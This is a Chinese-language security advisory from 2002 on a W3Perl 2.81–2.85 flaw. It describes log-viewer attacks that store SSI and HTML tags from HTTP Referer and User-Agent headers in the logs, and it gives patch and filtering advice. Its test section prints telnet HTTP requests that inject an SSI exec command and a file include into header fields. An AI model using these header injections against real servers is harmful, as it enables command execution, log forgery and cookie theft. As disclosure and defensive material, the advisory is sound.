W3Perl HTML协议头处理漏洞
发布日期:2002-01-23
更新日期:2002-02-04
受影响系统:
W3Perl W3Perl 2.85
W3Perl W3Perl 2.84
W3Perl W3Perl 2.83
W3Perl W3Perl 2.82
W3Perl W3Perl 2.81
不受影响系统:
W3Perl W3Perl 2.86
描述:
BUGTRAQ ID:
3939
W3Perl是种免费发放的开源软件,用于WEB统计并以HTML格式显示日志文件。用户可以选日志显示的详细程度。W3Perl能够运行于绝大多数Unix/Linux系统上,也能运行于微软Windows NT/2000上。
W3Perl实现上存在一些问题,会导致某些安全漏洞。
远程攻击者可能利用这些漏洞在主机上执行命令、伪造日志、窃取用户Cookies等。
<*来源:zeno (
bugtraq@cgisecurity.net)
链接:
http://archives.neohapsis.com/archives/bugtraq/2002-01/0286.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
zeno (
bugtraq@cgisecurity.net)提供了如下测试方法:
1) SSI危险
# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
Referer: <!--#virtual include="somefile.log"-->
User-Agent: <!--#exec cmd="/bin/id"-->
HTTP/1.1 200 OK
Date: Mon, 17 Dec 2001 20:39:02 GMT
Server:
Connection: close
Content-Type: text/html
#
攻击者在Referrer和User-Agent域中插入SSI标签,最终保存在日志文件中。显示日志时,如果服务器方软件解释SSI标签,就可能导致文件包含、命令执行。
2) 伪造日志
攻击者利用类似方式插入</html>标签,对于那些不懂得查看源文件的的普通用户来说,将看到截断后的日志。
3) 窃取Cookies
# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
Referer: <javascript-that-is-evil-so-there's-no-need-for-examples>
User-Agent: </html>
当受害用户查看这些内容的时候,可能导致自己的cookies泄露。
建议:
临时解决方法:
如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:
* 过滤元字符 <>":;'}{][|\)(*&^%$#!`
* 用> <替换<>
厂商补丁:
W3Perl
------
目前厂商已经在新版本的软件中修复了这个安全问题,请到厂商的主页下载:
http://www.w3perl.com/softs/index.html
浏览次数:3330
严重程度:0(网友投票)